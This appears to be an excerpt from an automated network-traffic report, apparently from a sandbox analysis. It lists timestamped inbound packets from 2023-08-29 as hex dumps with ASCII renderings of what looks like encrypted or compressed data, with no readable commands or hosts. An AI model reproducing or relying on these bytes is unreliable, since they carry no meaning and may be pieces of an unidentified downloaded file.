2023-08-29 20:43:03 UTC	49	IN	Data Raw: 32 df 6d 4b 4e cb 3f 4c 9e de 74 93 02 e0 d4 f6 78 94 26 16 66 10 0e b4 61 64 80 c0 32 08 24 2d 24 82 f3 b8 51 91 a9 d2 3d 11 db 47 9b f8 4e 1a 68 43 e3 f3 16 40 ec da 16 33 36 67 c7 02 d8 aa 54 6b 69 d5 5c 52 03 32 fb b9 79 85 84 7b 5e c5 b9 2d b2 6f 61 2b 39 7f 95 bd c5 8f 16 e8 3b 5a f0 5f cb ea 39 9f 73 89 29 3f f0 46 Data Ascii: 2mKN?Ltx&fad2$-$Q=GNhC@36gTki\R2y{^-oa+9;Z_9s)?F
2023-08-29 20:43:03 UTC	50	IN	Data Raw: 89 74 3d 7c 1a c6 80 f0 90 ad 7c ca b9 a4 7e ec cb d9 32 38 0d d9 bb 84 88 6f 46 71 9f 4b 16 2c 91 b6 62 5b 32 9e f8 ba d8 f3 bd 52 d4 63 28 60 66 7d a1 f8 93 7e 92 b3 d3 22 92 90 c1 9d 9e d9 7a 94 07 8f cc 2d 90 ef f4 b2 1d d6 56 9a ef 4f c3 1b 3d 82 ef 79 4a fb 12 9c 13 f9 9a b2 29 90 b9 2f 6e 71 58 2f 96 d0 4c 41 25 4e ee 66 ca c3 fb a9 b2 c7 d5 f8 7e 09 e6 b4 14 b2 b5 04 f0 a2 db ca 7d ac a4 68 99 8a 8e bd 56 0f 57 9e 26 12 c3 67 fb 0f d8 b3 16 7b 78 b2 07 1f bf a4 b8 01 a4 71 c5 2b fe 86 7c fc 67 2a 09 9f ba 92 8f 71 f2 22 17 14 6b 78 07 ad 4e de 99 d7 bf c6 54 71 da 5a d8 fa 4f 46 64 52 91 76 f3 4e 6f fb 9f b3 1d 8c 4d 09 18 66 63 7e 3d d5 2f 1d 17 0c 34 65 93 bb 72 9e c5 6e e0 76 98 83 6d 89 fc 3d 14 84 38 bb 93 4a 50 c3 8b d0 43 10 ec 35 41 b1 ee Data Ascii: t=\|\|~28oFqK,b[2Rc(`f}~"z-VO=yJ)/nqX/LA%Nf~}hVW&g{xq+\|g*q"kxNTqZOFdRvNoMfc~=/4ernvm=8JPC5A
2023-08-29 20:43:03 UTC	51	IN	Data Raw: ad d2 2e 09 79 36 9f 1d 3d 27 21 36 bc 0f 1e bd 17 b0 56 11 90 36 c6 fa ea 6c cf 69 8a d4 44 50 12 f2 dc eb 85 6c db 1d 8b df fe bc 5d 62 63 1f 55 79 81 90 a2 f3 79 29 64 c2 73 e2 83 6f 13 21 7f 74 40 b1 79 ae c2 25 85 38 1d d7 ce 11 c6 62 9b 5d 26 79 fe f8 4a ad ca ce c4 bd 5f ef ca 22 de 46 b7 53 ea e8 76 10 07 3a f9 c3 48 61 27 31 42 79 30 9d 2d 42 74 ca 9e d0 28 da c4 11 02 81 07 56 fe 59 d1 0e 1d 7b fd 60 15 39 20 22 91 92 1b 7d f2 1d 2c 0c 36 6d b6 17 6b f3 39 da 7e 64 37 73 84 c4 38 ee 71 41 c1 61 24 1a 97 3a 5a 27 c3 63 7d 2b a7 c6 21 ee a6 e4 aa 8e f9 b5 9c 3a 18 a6 bf 7b 25 f2 79 e5 b5 6d 91 7a 3d 65 c3 6b 87 bb d7 d6 ad 0a 48 be 2a 3e e2 f7 83 bd 3c cf ed e5 60 a6 6f dd f2 81 be 45 91 c9 42 2f 9b c1 3d ff e7 42 98 df bb 29 70 8a 41 0f 34 b0 67 Data Ascii: .y6='!6V6liDPl]bcUyy)dso!t@y%8b]&yJ_"FSv:Ha'1By0-Bt(VY{`9 "},6mk9~d7s8qAa$:Z'c}+!:{%ymz=ekH*><`oEB/=B)pA4g
2023-08-29 20:43:03 UTC	52	IN	Data Raw: 13 e4 d8 bb 0e f9 70 0f 79 f3 d9 2e b1 fe ff a4 84 e4 77 fa 88 ac 7d 16 81 1b 87 d5 c1 02 5a 64 75 42 7b ef 79 b9 be b7 34 b1 70 9a c6 ab 6c 46 96 ec 6e 10 07 83 d9 5a 32 00 d6 4d 2d 2b 8b de 13 f3 9c 07 17 02 a1 56 89 26 31 c2 b4 1e d8 23 0f 44 0d 29 e8 8c eb c5 b5 ba ca 52 e5 23 0a e8 da 3a 5f 7b d6 7d a7 85 bd 36 0c 91 09 07 42 9b e9 df 38 28 45 de b3 81 f4 1b 4d 86 2d 61 a0 f6 d9 b1 31 31 1c 15 4e d2 1e 3b 9d a3 18 46 4e a5 5f 0b 5e cf ec c8 12 8f 67 a2 a9 69 25 9c 94 6b f4 e4 20 7e 44 7a 3a 36 bc d8 6e 62 17 9f ac 89 3c a0 0e 40 fd f0 80 a9 cb b2 a1 02 00 eb 85 dd 53 32 ae 08 d0 69 5f 59 46 fb f2 c4 0e a7 4e a8 4c 61 54 9f e7 1c a8 e0 7b ec c4 59 c7 7b 99 30 9b fb 6b bb 95 8f 0e d5 53 ff 7d 7f 06 29 26 2b 73 29 f0 0d d8 f4 b0 43 27 f9 ef 19 0b e8 90 Data Ascii: py.w}ZduB{y4plFnZ2M-+V&1#D)R#:_{}6B8(EM-a11N;FN_^gi%k ~Dz:6nb<@S2i_YFNLaT{Y{0kS})&+s)C'
2023-08-29 20:43:03 UTC	53	IN	Data Raw: 12 16 b0 ea 74 5f 24 fc 7e f7 d7 3e 4b 75 b9 44 57 68 c1 4a ae c4 9c e0 1c 1e 7f d1 45 3b 78 51 66 fb 90 c5 92 99 15 28 f9 39 e3 2a e5 9e 3e 0d f9 ce b4 0d c2 39 42 f6 ec c8 f4 26 26 30 00 69 eb 2f 26 31 11 b0 cb b5 6c 26 7c 6d c3 6a 01 de 94 a7 73 79 a5 ac 57 6a 4c 93 89 56 85 fe 6f 36 71 fe 15 8c c3 8d ee cf e8 85 82 54 12 d3 f9 a2 5c 3a e5 7d e0 a3 ab fa 12 99 83 2e 24 24 e1 f4 7f 8b 95 fc ca ae 99 0c 92 c2 9a e7 59 43 fe 34 e9 25 16 a1 52 fc 6e 87 68 0d 01 b9 ef 37 eb d9 7d bf 80 4e 71 ec 8d 80 af e8 76 23 2b 5c 4d c6 49 bc 5c 0b fb 27 15 8d 05 02 54 58 a0 5b 63 1a 55 56 77 2f 5c e4 07 19 f6 ec 96 f2 8e 96 07 92 e0 13 eb d7 15 cf 9b 42 25 70 bb 3f c5 fc bf 8d df fd 13 8f f4 b1 98 43 b0 43 36 e2 3c cd 19 79 a0 09 be 61 b4 66 1e e2 d4 5f 4d 81 9a 69 9f Data Ascii: t_$~>KuDWhJE;xQf(9*>9B&&0i/&1l&\|mjsyWjLVo6qT\:}.$$YC4%Rnh7}Nqv#+\MI\'TX[cUVw/\B%p?CC6<yaf_Mi
2023-08-29 20:43:03 UTC	54	IN	Data Raw: e8 ff b0 3a 26 ad 3d 17 74 62 86 cb 5b 05 4e 04 1a ce b7 ad 4b 33 2d 82 bd 1d 27 c3 15 1d 11 b4 c1 8a d2 80 96 4d 9b d8 fe cf 7b d4 34 64 22 23 db 70 5d 0b 6c 0a bc 16 36 6d 4f 64 25 64 16 6d ac 37 81 fd d2 47 5d e0 72 89 81 93 9d 3a c6 2f 31 50 82 dd 94 91 49 8d 9c d0 62 32 2c c8 7c 41 fe e8 0c 6b b4 85 41 02 72 61 c1 07 d6 ed 3a 7d c9 5e 90 1d d2 8f 5f 3d 3f 2e 74 33 1d df 96 d5 2b 6d 3f 3b c6 1a 71 df 78 7a fe 7e 4a 9f cb d3 55 9c 2f 92 2e f3 81 b0 02 c9 00 7f 41 f1 86 ba f9 20 f9 6a cc 29 4d 52 c3 e1 38 63 92 75 b9 83 7a a9 dd 45 47 f5 de 35 04 d9 f4 da 97 83 8e 8d 23 7e c5 cd b4 27 a9 29 12 2d a9 3d 25 90 60 52 7e 72 2e 02 50 b0 76 e2 6e e6 02 97 be 0d 16 97 15 e6 28 b7 5a 3d 4c 6c 57 7a 9d dc 12 f7 e5 a9 a1 e8 3c 08 f0 91 a5 1c 69 98 93 86 46 4a d1 Data Ascii: :&=tb[NK3-'M{4d"#p]l6mOd%dm7G]r:/1PIb2,\|AkAra:}^_=?.t3+m?;qxz~JU/.A j)MR8cuzEG5#~')-=%`R~r.Pvn(Z=LlWz<iFJ
2023-08-29 20:43:03 UTC	56	IN	Data Raw: 65 fd b8 9b dd 10 64 53 d9 fe 38 17 e8 70 e1 96 9f ca 42 98 2e b6 6c e4 df 05 25 1d 64 31 96 ff f8 4c 37 f6 b1 a9 fe 1d f6 13 a1 7a cb c8 8d f2 27 28 8c 4d a7 04 86 14 3b 09 a7 5c bb b8 9b ab 2c 9d 0c 66 50 10 bc f7 e1 cb 6b 49 00 75 8f 8e 7c 89 dd bb b7 7e 56 ef 85 dd e4 1c 96 f4 36 64 2e 9f eb 69 b4 3d 61 ca 90 cf 37 4c af b9 3b 4c d8 25 5a 50 07 17 38 eb b3 7b 2e 62 6e d6 03 b8 63 aa e2 b9 30 54 72 43 18 6a 99 fd db 64 e2 65 d8 38 c1 94 5e f8 c6 42 b3 b1 5a 6a a0 ba 3d 6d dc 12 16 b5 58 c6 ba 1c a5 e7 69 df af d5 98 07 ea a4 06 79 b7 59 e1 3b 92 c8 72 e4 7e d7 14 26 69 5f c5 ec 87 32 ae fd c1 d6 94 b6 08 59 4f 7d c4 4c 51 7b f2 f4 d7 d8 90 ef 36 a3 af da d5 64 cc 5d 36 4b bd 1f 65 f8 77 b8 72 72 2f 1a 77 77 fa b4 30 08 85 50 4f ca 90 59 2b a1 ab 31 42 Data Ascii: edS8pB.l%d1L7z'(M;\,fPkIu\|~V6d.i=a7L;L%ZP8{.bnc0TrCjde8^BZj=mXiyY;r~&i_2YO}LQ{6d]6Kewrr/ww0POY+1B
2023-08-29 20:43:03 UTC	57	IN	Data Raw: cc ee 55 46 66 15 67 c4 97 67 9c c5 4c 34 2f 67 78 8a c1 51 07 82 bf c0 4f 8f d2 8d c7 8f 14 60 e8 fc 43 5c bf bf 56 de 23 92 ee 28 94 8a 67 bc e3 7e 3a c1 56 6d f2 63 16 1d ad fd d1 29 63 e8 ad 62 d1 b8 ee 68 af ed 20 77 f1 1e fa cc fb 1d 18 6c bf 8e 0a 30 a9 88 04 55 b0 7a dc 7d fa 52 71 ff bd 39 d2 c7 4d 4e 2a 46 5a 6d aa 40 72 72 49 86 19 e2 ac 53 b4 0d 51 93 0e 72 95 39 63 aa 64 17 c6 9b d6 db c9 97 b7 82 69 90 c4 13 25 86 41 49 e6 d2 41 10 52 3f 81 87 d5 bc 25 86 d6 35 16 d0 12 d7 b0 ca ee fb a6 ca bf 47 2e 80 f0 fe 8e 28 32 4c e6 4a 4e eb a9 17 5e 52 c0 f9 16 2d 33 b2 94 11 19 9e f6 8b 65 d7 09 a6 d4 95 17 d6 bb 05 4f 81 b4 ca 30 2c 7d c9 68 68 70 8f 4a ea f9 9b 94 87 e8 0b 62 d5 c9 07 f5 e5 6e 6f 50 40 72 a8 bf 5a c5 f9 8d cd 98 cf a3 28 c2 77 33 Data Ascii: UFfggL4/gxQO`C\V#(g~:Vmc)cbh wl0Uz}Rq9MN*FZm@rrISQr9cdi%AIAR?%5G.(2LJN^R-3eO0,}hhpJbnoP@rZ(w3
2023-08-29 20:43:03 UTC	58	IN	Data Raw: 8d bd 27 9b cd 9f eb 2e 85 db 9f 27 d5 7d af 69 75 69 68 f3 28 d2 56 ac 72 fd a2 8f fb b2 84 64 a1 d7 90 43 68 b1 8a ce 7c c6 13 27 65 4a 3a b7 ae f2 8e 2f ee 88 98 b8 4f dc ae 42 a8 24 6b d1 b9 ee 11 52 2d 46 2b 4b 6d 96 c3 79 30 9e fc be 46 b8 a7 87 56 d1 a5 6f 4a 8f c3 b7 f1 9a 4d 02 fb c0 8d bd 2d 77 81 6e 54 7d bf cc d6 2d 10 92 e4 50 c7 7b bc 34 d8 ef ff f0 bc bd e1 8d af 09 67 7e 30 6a bc f6 56 21 e8 4e d8 69 a4 cb 99 d0 00 4f 72 d0 72 8a c5 68 42 dc c9 47 90 13 b6 2c b4 68 32 ae fc db da fc b7 5c 1d 65 47 bb 3c 8c 2b a5 a8 f5 e2 12 e5 e9 4d 6b ee 61 f0 cd 73 f1 ec c7 dd d7 e2 13 61 8e c8 6d 75 92 a7 7a 39 57 2f e5 5f 86 77 f1 22 83 d2 8d 94 f7 f3 55 35 9c 6a 4c bf 80 ae b5 28 42 cf 77 c8 16 bd 77 63 a5 1b 39 48 a7 92 b0 92 53 d0 3d f8 5f 5b 80 0c Data Ascii: '.'}iuih(VrdCh\|'eJ:/OB$kR-F+Kmy0FVoJM-wnT}-P{4g~0jV!NiOrrhBG,h2\eG<+Mkasamuz9W/_w"U5jL(Bwwc9HS=_[
2023-08-29 20:43:03 UTC	59	IN	Data Raw: 82 da 5b 68 e0 ca 8a 1a 08 a4 80 44 a7 a1 25 ef 74 fd 65 fc 1c a4 ea 2e bf f6 60 49 40 88 a0 82 a4 a2 79 8b be 5a e9 82 04 c1 aa a7 5c e8 40 b8 9e 39 eb cd 60 a8 19 7d f4 c1 88 6b b5 4b ce b3 f0 f7 a7 e2 a3 7d e6 fb ca 77 dc 0b b7 b3 46 d3 0e 79 22 d2 da 2d b4 cd 0a 06 f7 81 2f 70 16 01 9b e4 bf 39 d5 05 72 ad dc ea 36 06 f8 71 e4 58 7f 05 48 2d 30 79 75 70 29 6d 1c d2 e3 79 a5 d1 f1 48 65 0c 01 f6 57 a1 c3 2c 9d 73 d2 10 75 64 1f 11 c5 48 3d dc d9 6c 7e 95 fb 5c c2 3a 80 06 85 80 8b 57 ec cf 5a 7f ed 43 21 ff 03 b5 93 33 35 7a 58 35 34 51 46 b0 57 c4 94 8a 66 52 65 a0 f4 3c 25 2c c8 44 72 7f 84 34 61 30 18 31 47 4d 55 70 d4 44 6a ad 67 97 b0 fe e0 b5 b3 25 69 23 c1 c4 49 b8 20 f6 7a 3f 8b 31 3c ae 9f ec c3 b8 04 2e 05 76 2a 9d ae 4d ee 92 87 02 54 e0 78 Data Ascii: [hD%te.`I@yZ\@9`}kK}wFy"-/p9r6qXH-0yup)myHeW,sudH=l~\:WZC!35zX54QFWfRe<%,Dr4a01GMUpDjg%i#I z?1<.v*MTx
2023-08-29 20:43:03 UTC	61	IN	Data Raw: c4 e8 4a db 5b c4 59 1e 17 be 7c 2e e9 74 c6 54 9e 23 b8 01 46 03 66 29 28 7a 6a 8f 13 45 88 10 67 f8 e7 1e ae 0b 9f 10 4b 8f 47 93 42 05 82 78 f8 11 d3 d3 31 66 fc 2c ad 3e f0 a0 21 4c 6a 02 4e 3a 6a c9 c3 0a 0b 33 09 9d fd 26 ed 8a 48 8e c2 81 02 e9 47 c5 f1 26 0f d7 8e 44 98 a5 1c ab 11 9a e9 a1 30 00 41 35 a9 19 90 9f 72 67 13 02 e2 71 08 d1 8c 5a 5a a1 da b9 e7 f7 ef 59 ed 8d cc 3f f4 1c a2 28 06 bc 42 85 c5 e1 d3 69 54 f7 9e 3c 58 1e db ed d7 66 12 66 95 48 7d 5a 33 62 c3 1c a2 d6 e5 c9 ed b4 2f 8f 71 bd 84 28 be ca 4b 9a 23 4b 7e 2e a3 6b cd 26 7e 82 a5 91 30 aa 12 22 19 5d 45 d4 b8 81 c3 dd a8 62 2a 89 00 30 e0 b4 f9 e5 ba 19 0f 33 05 ca 1d 39 8b 0a 93 0f ff b7 33 80 b3 ac ca 2d 54 1f 75 30 5d b4 f3 6c fb e7 f7 a5 c1 4c 6a 8e de 59 4f 9e 44 5d b3 Data Ascii: J[Y\|.tT#Ff)(zjEgKGBx1f,>!LjN:j3&HG&D0A5rgqZZY?(BiT<XffH}Z3b/q(K#K~.k&~0"]Eb*0393-Tu0]lLjYOD]
2023-08-29 20:43:03 UTC	62	IN	Data Raw: b5 d6 24 62 68 03 e8 b8 64 20 91 87 3d 8f 72 d6 1f 31 33 8c f6 69 be f6 c4 ce fb 1b b2 75 4f 48 8d f5 9f 0a c1 34 bf be 0b d1 5b 76 1f ef ed 74 a1 15 3c fd ef 96 6a 28 79 e5 a4 c3 a7 20 ba 66 36 ad 9a b9 67 81 93 b6 94 08 39 d7 da 24 b9 de 18 d6 ae 2d 4f 70 39 4c 76 1c bf 68 7f 5e 45 9e 70 7b 15 72 8e 92 66 7b a5 ea 88 d0 81 42 e7 35 4c a9 04 82 c2 f2 df 4e a2 df 11 93 21 ab 54 e5 8b 70 cc b4 c2 03 40 f8 06 ea 55 62 d7 51 26 a7 06 48 16 1c 0c d4 9d 27 67 f6 33 b6 1e ad 46 77 3d 7b e1 50 d2 39 32 f3 ff 5c 9b 15 7e 88 fe f2 9a 25 2d 43 6d 74 bb 8e 79 ea d8 17 94 4c 06 a8 ab 21 38 67 05 a5 21 e9 33 ec 74 c7 d1 ca c5 66 26 d6 a4 b0 c6 fd d0 7c 8d 9a 8a f4 6d 73 4a ab 7d ee ba 7b 0f f5 f5 db 7c a4 1e 43 1d 5a 5b 1d 44 ad 54 fc 23 54 84 a1 a2 0d ee 3c ea a3 65 Data Ascii: $bhd =r13iuOH4[vt<j(y f6g9$-Op9Lvh^Ep{rf{B5LN!Tp@UbQ&H'g3Fw={P92\~%-CmtyL!8g!3tf&\|msJ}{\|CZ[DT#T<e
2023-08-29 20:43:03 UTC	63	IN	Data Raw: 48 12 4f 1b ee 54 4c ea cf c6 8f 87 cc f0 fa 8c 4a 6b f6 3d d8 96 8d 00 eb b7 65 7e c2 5d f7 ba 87 a6 db 92 0e 81 ad 18 e9 76 96 3d 7d 6f 83 9d 0f 3d ee af ca f9 3f c1 5d ed 02 6f 52 b6 03 74 ae 30 88 83 a2 aa a8 f5 f7 6a 54 2f 22 e5 4d 21 bf d1 d2 4b a3 33 e3 fd 97 2d af b8 46 1d c7 2e 7c bc c5 25 7a 3d b9 01 0e 58 2f 16 1b 7d 1e 92 de b7 cb b4 36 42 6a 62 a5 55 bf 20 f4 a5 d6 c9 a5 37 6d 11 3d 4b f5 70 af 6d 45 0e 5c f0 d0 67 e3 38 08 7d 5d 0d c6 77 39 b4 78 05 75 8b 4f b6 3f 72 8f ac 82 d1 d8 06 ad e2 af 99 fa 3e 25 62 2b 79 79 25 27 45 b4 90 af 48 14 d2 ca 53 6f 70 e8 ce 30 05 09 ba 9b ae e3 52 8e dd 95 4a bc 30 5e 9b bb 3e 08 dd 42 c0 2d b1 4b d8 33 26 60 c7 2a 79 be fa 3c da 0f 6d 9c 71 89 0d e4 bf 15 06 96 73 0b 3a 6b 25 b3 a1 d1 81 fd 22 44 30 d8 Data Ascii: HOTLJk=e~]v=}o=?]oRt0jT/"M!K3-F.\|%z=X/}6BjbU 7m=KpmE\g8}]w9xuO?r>%b+yy%'EHSop0RJ0^>B-K3&`*y<mqs:k%"D0
2023-08-29 20:43:03 UTC	64	IN	Data Raw: 7f e1 a4 7e da f5 0d 29 3c ac 0b 01 ba 4d 25 4c f0 3d 1e b3 0c 44 8d 88 a8 52 4d fc b9 b6 19 44 37 60 5d 61 c2 9c cc ae 0b 32 3b 71 6f 66 38 48 2e 9c 9a b2 b5 08 b1 fa ca 42 5c 95 b6 85 62 42 18 0b 91 5a 53 bd 64 27 d8 2a 5f 96 d9 f4 7c 8e ed cc cd fd 42 1a 03 74 aa c9 94 18 3d 3f 12 02 f0 b9 ce 25 29 33 64 5c 3f 37 ae 17 b6 e1 0a 27 e2 19 87 5d 6d 57 a4 d7 6c 84 44 64 0d 93 c4 c1 87 17 8b 03 39 cf a7 8d 4f b8 cd 2d bf 3a 97 8f ba f5 d4 97 4e c3 14 ad 51 39 cd 3c 50 6e f1 c9 31 72 ba c5 41 d4 bb d5 1d 59 d7 ae 9a 9d be 54 04 95 c9 b8 f7 16 6f 72 20 c2 d7 86 af 48 7d 77 a2 53 7b d6 a8 bc 08 e1 2b e3 e3 74 d3 f9 79 9a d3 2f 23 ed 4a 92 8f b4 cb 9e f8 f7 81 10 39 39 7b 0b 33 41 d6 2a c2 d0 0d b1 71 51 68 82 1e 3c 04 63 16 d5 7a da 41 45 1d bf 02 a4 78 63 58 Data Ascii: ~)<M%L=DRMD7`]a2;qof8H.B\bBZSd'_\|Bt=?%)3d\?7']mWlDd9O-:NQ9<Pn1rAYTor H}wS{+ty/#J99{3AqQh<czAExcX
2023-08-29 20:43:03 UTC	65	IN	Data Raw: bd 7b b5 a8 d4 a7 38 e4 9c ca 87 6c 95 73 b0 70 1a b0 68 13 1d 42 9d 84 4a ff aa 35 bb 73 23 d9 51 43 2f d1 a0 ee af 6f 37 b7 6d 27 c4 39 d1 56 33 36 cc ee 5a e7 35 1d df b6 db 5a 1a 87 db 5f b5 ee 1a 01 35 08 a0 8c 22 9f 47 69 d8 b0 9c 17 35 ee 2d d2 a9 3e a8 ef d7 5b b4 a0 92 20 fb e5 Data Ascii: {8lsphBJ5s#QC/o7m'9V36Z5Z_5"Gi5->[
2023-08-29 20:43:03 UTC	66	IN	Data Raw: 40 48 08 8f e6 37 c7 19 e8 7f 3d c4 22 4a 77 73 ad 63 5d 5a c6 d5 0e 81 9e 9e 19 bb fa 80 a2 19 0a 25 b5 ba fc bb d4 71 f5 a6 40 e3 e9 4f 9c fa b7 f2 86 c9 99 0e f3 70 27 38 b7 40 79 2b 2a df 1f 03 1e 11 f9 48 ae 22 89 fa 4d e8 d5 6f ad 3f 29 43 13 8b b8 79 59 1e d5 3b d0 c5 24 1d a0 d0 a3 37 4e b0 19 71 6a 4d 60 3a 67 27 6e 48 4f 0e b4 eb 65 ec 37 7e f5 cf 54 43 37 c4 f3 2a 13 ab 5b 04 2b c8 0e ba f1 01 98 47 14 7e ae d8 00 82 dc ea b0 5a 1f f4 7d e4 e4 2b 9d f3 0b 02 f5 f2 fa f2 16 90 37 c3 02 8a 21 5b f6 e0 fd e2 5b a1 c0 b1 76 25 76 d6 d6 5a 0f 94 d5 83 a7 66 2b 5f 2f fe ce d1 f1 76 f0 94 02 c0 aa 51 60 2b b4 a5 5c da 88 a4 d5 90 4e 62 23 49 a0 d5 dd 7e e8 90 52 a6 5b 32 c8 cf 95 ae c3 e6 18 5d 84 b9 c5 f6 75 1d f1 9d 83 44 e2 37 ab f6 d2 68 3a 7c 58 Data Ascii: @H7="Jwsc]Z%q@Op'8@y+H"Mo?)CyY;$7NqjM`:g'nHOe7~TC7[+G~Z}+7![[v%vZf+_/vQ`+\Nb#I~R[2]uD7h:\|X
2023-08-29 20:43:03 UTC	67	IN	Data Raw: 3a c1 17 82 14 a9 c6 71 6f e1 5b 9a 92 39 db 6e cc 89 46 0b 91 64 9c 3c 0c 93 8d e1 84 22 1a a7 6e 8d 97 e7 70 d2 0c 08 19 24 11 d2 3e da d2 15 76 cc 03 f8 6b 9d 04 84 11 35 e7 1b 7c 52 5c 65 c5 62 0e b0 f4 2e 93 29 56 08 7a 51 92 32 2b 5f 83 95 a1 7a fd 8d bb e1 f5 c9 d3 be 3a 95 b7 f8 02 56 8f dd dd 18 e3 d7 73 f6 4d 34 e7 52 27 49 a5 1a 25 2a c7 79 3d 23 d5 12 90 a3 65 cc cc 8a e7 35 9a 74 05 5a 4e 5a 7d 00 ba 61 f1 0b 6c a6 79 48 e0 f4 93 e6 f6 ab ee 31 83 f0 a7 a4 34 0a 0f 02 a2 39 33 15 35 72 10 6f d5 9d da 75 14 1b 9c 85 92 2d 14 31 db 8d 41 c4 41 de bf bb 15 6f b7 cd 58 84 ba 59 f1 d9 42 48 43 a9 e9 75 d0 f7 39 55 d9 29 e6 11 2b 1b d1 99 47 49 89 74 28 18 5d 8d ef f6 dd df 74 89 ae 24 9a 31 d0 92 65 d0 11 5a b9 27 fa 2b f6 c4 cc ec 99 fb 09 07 3b Data Ascii: :qo[9nFd<"np$>vk5\|R\eb.)VzQ2+_z:VsM4R'I%*y=#e5tZNZ}alyH14935rou-1AAoXYBHCu9U)+GIt(]t$1eZ'+;
2023-08-29 20:43:03 UTC	68	IN	Data Raw: b0 9d 0a 64 a9 db 6b d9 8f 99 9c 04 5c ed 71 f1 21 62 e9 d1 7a e8 f2 73 04 3d dc d4 92 75 f7 dd 09 eb c7 45 3c 60 e7 97 68 9a ed 49 52 4d 20 9d ee 82 2b 1f fb 57 c4 a8 34 b3 1e 78 9f de cb 0f f9 43 4f ec 14 8a 09 be 46 66 05 fd 9c 5e 8d 72 d9 66 dd d4 50 ec 3a a5 23 54 76 29 6d 92 55 e9 ed f2 29 ff be 2a 9e 64 0d ca 5d 1f e4 fe 9c d7 d6 4c 84 a8 ec ea cb e0 7f 53 c2 63 55 eb 94 db 4c bd ea 48 6c fc 0d 52 e1 09 bb 9d fb 9d 90 c3 34 ff 07 16 cd 37 ae b3 4f df c7 9d cc de cb 67 ad e0 60 7b 6a fe ca a8 20 02 a8 42 27 36 85 14 40 e7 b6 a1 bc 78 0a 46 db f2 bd d2 23 10 cf e1 45 e0 99 fe 16 67 83 1d b4 5c ee 92 7b b5 1a 1c 22 21 5b 63 6c f9 54 ee ef 94 8d e3 a0 68 1d 1a ad 5a d3 fd ee 7c 76 1c 93 74 39 38 78 fd d8 f6 31 65 00 c1 31 36 7e f6 80 0d 4d 81 68 8a 37 Data Ascii: dk\q!bzs=uE<`hIRM +W4xCOFf^rfP:#Tv)mU)*d]LScULHlR47Og`{j B'6@xF#Eg\{"![clThZ\|vt98x1e16~Mh7
2023-08-29 20:43:03 UTC	69	IN	Data Raw: 1c 73 03 e6 9e b5 a4 e3 b8 a5 90 24 64 27 16 ac 5f d4 46 74 55 bd 92 12 21 1a fa 8a 29 b0 fc fb 33 1e ac 37 dd 6e 80 f3 d3 39 fe 94 c1 4d 8b b7 a7 5a 34 0b cc a6 d9 b7 15 93 54 01 dd 1a 57 ef cf c4 14 40 64 22 22 32 5a c1 30 64 cc 60 e8 6f 66 df 2d a6 49 81 fa 3c 2c d7 b1 36 1e a4 8d 64 29 00 d8 d4 8f 76 c6 6f 04 77 f6 33 df c7 77 98 a2 31 b4 ad a8 7a fd ef 4b ab c6 fd df 34 94 7d ce c9 85 87 c4 a0 4d 64 6f 0a 4a 11 25 8b 9c 56 8d 5f 26 d7 1a 6a e0 65 04 75 70 bb 08 9b f1 9f ef 0a 7e 43 b3 51 95 a8 a6 8d 84 7f 7a d2 8b 1a 82 0b ba b2 ee c1 40 11 06 5f b5 c4 e8 ea 12 8f 4d 30 0b 9b 8e 86 d1 84 2d 67 9a bc 63 fc 62 a3 c3 3a d2 e6 98 14 32 6a 27 31 de 2d a2 8f 75 82 e8 ea b3 6a 32 ee 70 5f 7c a9 bf b9 bc 94 a3 da ae 08 83 d1 fc 83 73 ab 22 3b 7f 3e b8 27 3e Data Ascii: s$d'_FtU!)37n9MZ4TW@d""2Z0d`of-I<,6d)vow3w1zK4}MdoJ%V_&jeup~CQz@_M0-gcb:2j'1-uj2p_\|s";>'>
2023-08-29 20:43:03 UTC	70	IN	Data Raw: 1c 6b 70 b5 eb 88 1b 0e db e1 75 79 6b 0f 50 67 3d c0 4b 05 12 be 9c 85 11 16 58 9e 00 8a 7e 45 10 6e 77 11 d2 dd ab 46 bb 19 e6 ee a6 ce d6 fc 27 57 3c d3 a7 f0 eb 2f 9d b3 61 c6 2d 73 78 a5 c6 3f 2b 40 76 5b b0 bf 1e 3f e8 a8 bd e6 df a7 0c 64 42 95 00 f5 ab 0b 3b 4f 28 9b 4b 88 8f e1 17 4b 08 6a a3 96 50 c0 10 cb 5e 6f b1 52 cb c4 84 3d 60 e0 61 d4 d3 32 2c 71 b3 2c fc e9 c3 2f 76 c8 85 96 58 29 5c 57 a3 38 97 dc bc 85 a6 3c c5 98 e1 b7 39 50 60 f0 65 86 35 7e 81 6a 15 cc 29 40 2b b4 55 a0 52 5a cc ff 0c c0 01 57 58 02 5b ed 91 09 2a c8 84 9d 30 2c 82 44 92 42 f7 f8 28 36 28 84 04 67 91 ea 9e 50 c1 74 cf d2 af 99 60 16 c8 f8 62 13 bf d4 1d 98 b8 91 38 c2 38 eb 64 1d 86 32 f8 eb 4b 4e 39 49 06 74 fe 3c ca 9c 32 36 f1 ac 70 06 a6 8c 81 23 ff 16 fd db 2a Data Ascii: kpuykPg=KX~EnwF'W</a-sx?+@v[?dB;O(KKjP^oR=`a2,q,/vX)\W8<9P`e5~j)@+URZWX[0,DB(6(gPt`b88d2KN9It<26p#
2023-08-29 20:43:03 UTC	72	IN	Data Raw: b2 cc 49 73 38 a1 0e 4e bf 0f ae b7 1a 20 a8 66 73 b7 4d ad 11 19 f8 81 0b c6 93 36 df 60 e4 99 cd eb 64 d4 ee 44 59 8d 2e a1 88 97 b4 a2 5e ca cb c6 f1 79 3f 56 d8 9c fd 64 65 21 17 6f 01 bb 0f 3e 07 4e 47 fa bd c4 48 d7 cd 4f 27 56 9b 77 fc aa 15 a4 6e bf 21 51 3e 73 d6 39 15 8d 3b 64 64 56 a9 8d 61 0b 85 75 dd c5 26 84 8d a9 3d 23 04 e1 51 22 30 4d 0a ea 1b 9f 30 90 94 94 4a 39 73 f2 2b c4 31 65 1d e7 c3 91 45 bd be 43 72 5c f4 e4 4a 00 8c b3 43 a3 9c cf 32 6b 3c 30 29 ac dc 00 3a 9f 5b 6d 77 1e 91 f6 43 84 43 9e 74 6a 8f c6 e1 59 ba dc 47 e9 9d be b4 db 5b d3 18 79 df 75 c6 ad 8f 8c d0 c5 41 bb f4 45 47 29 7e fb 34 d0 73 10 24 4b 41 57 7a ca 04 cb ef 18 68 53 f5 51 88 9b 64 ea f3 57 fa d1 7a 3b 9f 46 e4 7c 66 c1 00 2b 12 22 0e bc 41 b9 69 73 a4 a5 9c Data Ascii: Is8N fsM6`dDY.^y?Vde!o>NGHO'Vwn!Q>s9;ddVau&=#Q"0M0J9s+1eECr\JC2k<0):[mwCCtjYG[yuAEG)~4s$KAWzhSQdWz;F\|f+"Ais
